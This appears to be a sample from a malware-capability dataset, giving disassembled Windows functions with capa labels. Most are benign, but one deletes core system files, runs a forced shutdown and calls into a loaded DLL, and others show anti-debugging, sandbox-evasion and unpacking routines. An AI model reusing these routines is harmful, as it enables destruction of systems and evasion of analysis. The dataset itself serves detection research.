joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140257ff0
Capabilities:
Parse pe header

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1a0
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
mov rax, qword [0x1402b3040]
xor rax, rsp
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [0x140272a70]
lea r15, [rsp + 0x150]
movaps xmmword [r15 + 0x30], xmm0
movaps xmmword [r15 + 0x20], xmm0
movaps xmmword [r15 + 0x10], xmm0
movaps xmmword [r15], xmm0
lea r14, [rcx + 0x18]
mov rcx, r14
call fcn.1401da1b0
mov r8d, 0x40
mov rcx, rsi
mov rdx, rax
mov r9, r15
call fcn.140261000
test al, al
je 0x140258103
cmp word [rsp + 0x150], 0x5a4d
jne 0x1402580bd
mov rcx, r14
call fcn.1401da1b0
movsxd r14, dword [rsp + 0x18c]
add r14, rax
mov r8d, 0xf8
mov rcx, rsi
mov rdx, r14
mov r9, rbx
call fcn.140261000
test al, al
je 0x140258197
cmp dword [rbx], 0x4550
jne 0x1402581d6
mov al, 1
test rdi, rdi
je 0x14025816e
mov qword [rdi], r14
jmp 0x14025816e
mov ecx, 1
call fcn.140198e50
test al, al
je 0x14025816c
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x15a
mov r9d, 1
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.invalid_e_magic_in_dos_header_of
mov r8d, 0x21
jmp 0x140258143
mov ecx, 1
call fcn.140198e50
test al, al
je 0x14025816c
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x154
mov r9d, 1
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.could_not_read_dos_header_from
mov r8d, 0x1f
call fcn.140181360
movsx r8, byte [rsi + 0x17]
test r8, r8
jns 0x140258159
mov r8, qword [rsi + 8]
mov rsi, qword [rsi]
mov rcx, rax
mov rdx, rsi
call fcn.140181360
mov rcx, rdi
call fcn.140001aa0
xor eax, eax
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
cmp rcx, qword [0x1402b3040]
je 0x140258188
call fcn.14019d280
int3
add rsp, 0x1a0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 1
call fcn.140198e50
test al, al
je 0x14025816c
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x162
mov r9d, 1
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.could_not_read_nt_headers_from
jmp 0x14025813d
mov ecx, 1
call fcn.140198e50
test al, al
je 0x14025816c
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x168
mov r9d, 1
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.invalid_signature_in_nt_headers_of
mov r8d, 0x23
jmp 0x140258143
Function at 0x14001edc4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001ee0e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001ee0e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001ee0e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001ee0e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001ee0e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001ee10
xor al, al
add rsp, 0x28
ret

Function at 0x140028118
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140028187
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140028187
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140028187
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140028187
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140028187
cmp dword [rcx + 0x84], 0xe
jbe 0x140028187
cmp dword [rcx + 0xf8], 0
je 0x140028187
mov ecx, ebx
call fcn.140028238
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140028014
nop
cmp dword [rbp + 0x20], 0
je 0x1400281d5
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400281e0
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140028118

Function at 0x14002831c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140028118
Function at 0x14003138c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400313bc
xor eax, eax
jmp 0x14003147f
mov rbp, rbx
cmp word [rax], si
je 0x1400313e1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400313c8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400313c4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14002fa74
movsxd r14, eax
test eax, eax
jne 0x14003141f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400313b5
mov rcx, r14
call fcn.14002ba30
mov rdi, rax
test rax, rax
jne 0x140031438
xor ecx, ecx
call fcn.14002b9f4
jmp 0x140031414
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14002fa74
test eax, eax
jne 0x140031469
mov rcx, rdi
call fcn.14002b9f4
jmp 0x140031473
xor ecx, ecx
call fcn.14002b9f4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140033fac
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14002b694
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14003404d
cmp ebx, dword [rsp + 0x30]
je 0x140034046
test esi, esi
je 0x140034046
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140034021
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14003402e
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14003400b
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140034032
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14003404f
mov eax, 1
jmp 0x14003404f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140036bec
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140036c02
mov al, 1
jmp 0x140036c62
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140036c13
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140036c60
mov ecx, dword [rcx + 0x18]
nop
call fcn.140031a58
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140036c60
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140036c60
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140036c60
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140036c62
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400399b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400399d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400399d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Delete file
Execute command
Execute shellcode via indirect call
Set registry value

Disassembly:
sub rsp, 0x58
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140001199
mov qword [rsp + 0x68], rbx
lea rcx, str.C:_Windows_System32_kernel32.dll
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x50], rdi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:_Windows_regedit.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:_Windows_explorer.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ebx, 0xa
xor esi, esi
mov edi, ebx
mov qword [rsp + 0x30], rsi
lea rcx, str.file.txt
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
sub rdi, 1
jne 0x140001051
mov rdi, rbx
nop word [rax + rax]
mov qword [rsp + 0x48], rsi
lea rcx, str.cmd.exe
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
sub rdi, 1
jne 0x140001090
mov rsi, qword [rsp + 0x70]
mov rdi, rbx
mov edx, 0x400
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub rdi, 1
jne 0x1400010d3
lea rdi, str.NULL
nop dword [rax]
lea rax, [rsp + 0x60]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoft
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rsp + 0x60]
lea rdx, str.Value
mov r9d, 1
mov dword [rsp + 0x28], 7
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.shutdown__s__t_3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.a.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140001185
lea rdx, str.Proc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001185
call rax
sub rbx, 1
jne 0x140001100
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x68]
xor eax, eax
add rsp, 0x58
ret

Function at 0x140001a78
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ac2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ac2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ac2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ac2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ac2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ac4
xor al, al
add rsp, 0x28
ret
Function at 0x140011e60
Capabilities:
Check for peb beingdebugged flag
Check for peb ntglobalflag flag

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x580
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x570], rax
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x1400120d7
xor edi, edi
mov qword [rsp + 0x50], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], edi
lea r8, [rsp + 0x50]
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov r9d, 8
mov dword [rsp + 0x20], 0x19
mov edx, 7
call fcn.1400124c0
cmp qword [rsp + 0x50], rdi
jne 0x1400120d7
mov rax, qword gs:[0x60]
test byte [rax + 0xbc], 0x70
jne 0x1400120d7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
cmp dword [rbx + 0x70], 2
jne 0x1400120d7
cmp dword [rax + 0x74], edi
jne 0x1400120d7
mov qword [rsp + 0x40], rdi
call qword [0x140016718]
mov qword [rsp + 0x30], rdi
lea r8, [rsp + 0x40]
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov r9d, 8
mov dword [rsp + 0x20], 0x19
mov edx, 0x1e
call fcn.1400124c0
mov dword [rsp + 0x48], edi
call qword [0x140016718]
mov qword [rsp + 0x30], rdi
lea r8, [rsp + 0x48]
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov r9d, 4
mov dword [rsp + 0x20], 0x19
mov edx, 0x1f
call fcn.1400124c0
cmp qword [rsp + 0x40], rdi
jne 0x1400120d7
cmp dword [rsp + 0x48], edi
je 0x1400120d7
xor edx, edx
lea rcx, [rsp + 0xa0]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rbx, qword [0x140016770]
mov dword [rsp + 0xd0], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea rdx, [rsp + 0xa0]
call rbx
cmp qword [rsp + 0xe8], rdi
jne 0x1400120d7
cmp qword [rsp + 0xf0], rdi
jne 0x1400120d7
cmp qword [rsp + 0xf8], rdi
jne 0x1400120d7
cmp qword [rsp + 0x100], rdi
jne 0x1400120d7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, 0x10
lea rdx, [rsp + 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32QueryWorkingSet]
mov ebx, dword [rsp + 0x58]
xor ecx, ecx
add ebx, 0x14
mov r9d, 4
shl ebx, 4
mov r8d, 0x3000
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, ebx
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32QueryWorkingSet]
cmp qword [rsi], rdi
jbe 0x1400120a1
lea rbx, [rsi + 8]
nop dword [rax + rax]
mov rcx, qword [rbx]
lea rdx, [rsp + 0x68]
and rcx, 0xfffffffffffff000
mov r8d, 0x30
call qword [0x140016748]
test byte [rsp + 0x8c], 0xf0
je 0x140012093
mov rax, qword [rbx]
bt rax, 8
jae 0x1400120d7
test al, 0xe0
je 0x1400120d7
inc edi
add rbx, 8
movsxd rax, edi
cmp rax, qword [rsi]
jb 0x140012060
lea rdx, [0x140012100]
mov ecx, 1
call qword [0x140016720]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x80000003
call qword [0x140016740]
lea rcx, [0x140012100]
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
mov al, 1
jmp 0x1400120d9
xor al, al
mov rcx, qword [rsp + 0x570]
xor rcx, rsp
call fcn.1400124f0
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140012110
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x10e8
call fcn.140013450
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x10d0], rax
lea rcx, [rsp + 0xa0]
call qword [0x140016730]
cmp dword [rsp + 0xc0], 2
jb 0x14001225c
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x40
call qword [0x140016758]
mov rax, qword [rsp + 0x68]
mov ecx, 0x80000000
and rax, 0xfffffffffff00000
cmp rax, rcx
jb 0x14001225c
mov rax, qword [0x140016750]
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0
xor edx, edx
mov r8d, 3
mov dword [rsp + 0x20], 3
call rax
mov qword [rsp + 0x38], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [0x140016768]
mov ecx, dword [rsp + 0x58]
mov eax, dword [rsp + 0x5c]
imul rax, rcx
mov ecx, dword [rsp + 0x54]
imul rax, rcx
imul rax, qword [rsp + 0x48]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp rax, 0x64
jb 0x14001225c
call fcn.140012280
test al, al
je 0x14001225c
lea r8, [rsp + 0x40]
mov edx, 0x1000
lea rcx, [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
mov eax, dword [rsp + 0x40]
and eax, 0xfffffffc
cmp eax, 0xc8
jb 0x14001225c
mov al, 1
mov rcx, qword [rsp + 0x10d0]
xor rcx, rsp
call fcn.1400124f0
add rsp, 0x10e8
ret
xor al, al
mov rcx, qword [rsp + 0x10d0]
xor rcx, rsp
call fcn.1400124f0
add rsp, 0x10e8
ret

Function at 0x140012e68
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140012eb2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140012eb2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140012eb2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140012eb2
cmp dword [rcx + 0x84], 0xe
jbe 0x140012eb2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140012eb4
xor al, al
add rsp, 0x28
ret
Function at 0x1400032f0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x290
mov rax, qword [0x14000e010]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140003349
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140003350
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140003416
mov qword [rsp + 0x2a0], rsi
xor esi, esi
nop word [rax + rax]
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x20]
call fcn.1400059f0
cmp qword [rbx + 0x18], 8
mov rax, rbx
jb 0x14000337c
mov rax, qword [rbx]
mov r10, qword [rsp + 0x38]
lea r8, [rsp + 0x20]
mov r9, qword [rsp + 0x20]
cmp r10, 8
mov rdx, qword [rsp + 0x30]
cmovae r8, r9
cmp rdx, qword [rbx + 0x10]
jne 0x140003437
test rdx, rdx
je 0x1400033c4
sub r8, rax
nop word [rax + rax]
movzx ecx, word [r8 + rax]
cmp cx, word [rax]
jne 0x140003437
add rax, 2
sub rdx, 1
jne 0x1400033b0
mov esi, dword [rsp + 0x48]
cmp r10, 8
jb 0x140003403
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x1400033fb
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003489
mov rcx, r9
call fcn.140007e90
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rsi, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140007e70
mov rbx, qword [rsp + 0x2a8]
add rsp, 0x290
pop rdi
ret
cmp r10, 8
jb 0x14000346e
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140003466
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003489
mov rcx, r9
call fcn.140007e90
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140003360
jmp 0x140003403
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140005200
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
push rsi
push rdi
push r12
push r13
push r14
push r15
mov r14, qword [rsp + 0x58]
xor r15d, r15d
mov r11, qword [rsp + 0x70]
mov r13, rdx
mov rax, qword [rsp + 0x60]
mov qword [r14], r8
mov qword [r11], rax
mov rdi, qword [r14]
cmp rdi, r9
je 0x140005393
mov r12, qword [rsp + 0x68]
lea r8d, [r15 + 1]
mov rsi, qword [r11]
mov r9d, 0x3ff
mov r10d, 0x2400
mov ebx, 0x2800
cmp rsi, r12
je 0x140005393
movzx edx, word [r13]
xor bpl, bpl
movzx ecx, word [rdi]
cmp r8w, dx
jae 0x140005299
lea eax, [r10 + rcx]
cmp ax, r9w
ja 0x1400053b7
mov eax, edx
sub ecx, 0xdc00
shl eax, 0xa
or eax, ecx
jmp 0x1400052af
mov eax, ecx
add cx, bx
cmp cx, r9w
ja 0x1400052af
shl eax, 0xa
mov bpl, 1
sub eax, 0x35f0000
cmp eax, 0x80
jae 0x1400052c2
movzx r9d, al
mov r10d, r15d
mov ebx, r15d
jmp 0x14000530d
mov r9d, eax
cmp eax, 0x800
jae 0x1400052dc
shr r9d, 6
mov r10d, r8d
or r9b, 0xc0
mov ebx, r8d
jmp 0x14000530d
cmp eax, 0x10000
jae 0x1400052f6
shr r9d, 0xc
mov r10d, 2
or r9b, 0xe0
mov ebx, r10d
jmp 0x14000530d
shr r9d, 0x12
mov r10d, 3
movzx ebx, bpl
or r9b, 0xf0
xor ebx, 1
add ebx, ebx
lea r8d, [rbx + 1]
mov rdx, r12
sub rdx, rsi
mov ecx, r8d
cmp rdx, rcx
jl 0x140005393
lea rcx, [rdi + 2]
mov qword [r14], rcx
test bpl, bpl
jne 0x140005331
cmp r10d, 3
jae 0x14000533d
mov rcx, qword [r11]
mov r8d, ebx
mov byte [rcx], r9b
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jle 0x14000536e
lea ecx, [r10 + r10*2]
add ecx, ecx
nop dword [rax + rax]
sub ecx, 6
mov edx, eax
shr edx, cl
dec r8d
and dl, 0x3f
or dl, 0x80
mov byte [r9], dl
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jg 0x140005350
shr eax, 0xa
mov r8d, 1
test bpl, bpl
mov ecx, r8d
cmovne ecx, eax
mov word [r13], cx
mov rdi, qword [r14]
cmp rdi, qword [rsp + 0x50]
jne 0x14000524e
mov rax, qword [rsp + 0x48]
cmp rax, qword [r14]
sete r15b
mov eax, r15d
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
mov eax, 2
jmp 0x1400053a2

Function at 0x140008980
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400089ca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400089ca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400089ca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400089ca
cmp dword [rcx + 0x84], 0xe
jbe 0x1400089ca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400089cc
xor al, al
add rsp, 0x28
ret
Function at 0x100f990
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x100f99d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x100f9ad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x100f995
lea eax, [rcx + 1]
jmp 0x100f9bb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x100f9ce
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x100f9b4
sub eax, 3
jb 0x100f9ee
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x100fa3d
sar eax, 1
movsxd rbp, eax
jb 0x100fa24
jmp 0x100f9fc
add ebx, ebx
jne 0x100f9fa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x100fa24
inc ecx
add ebx, ebx
jne 0x100fa0a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x100fa24
call r11
adc ecx, ecx
add ebx, ebx
jne 0x100fa1d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x100fa0c
add ecx, 2
jmp 0x100fa29
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.0100f952
jmp 0x100f99d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x3f0a00
mov dl, 0x5e
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x100fa89
cmp rsi, rcx
jae 0x100fa91
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x100fa70
cmp al, 0x8f
ja 0x100fa70
cmp byte [rsi - 2], 0xf
je 0x100fa76
sub al, 0xe8
cmp al, 1
ja 0x100fa5a
cmp rsi, rcx
jae 0x100fa91
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x100fa60
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x100fa91
lodsb al, byte [rsi]
jmp 0x100fa70
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xc0d000]
mov eax, dword [rdi]
or eax, eax
je 0x100faee
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xc18320]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x100fa9e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x100fae8
mov qword [rbx], rax
add rbx, 8
jmp 0x100fabe
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x100fb46
sub rsp, 0xffffffffffffff80
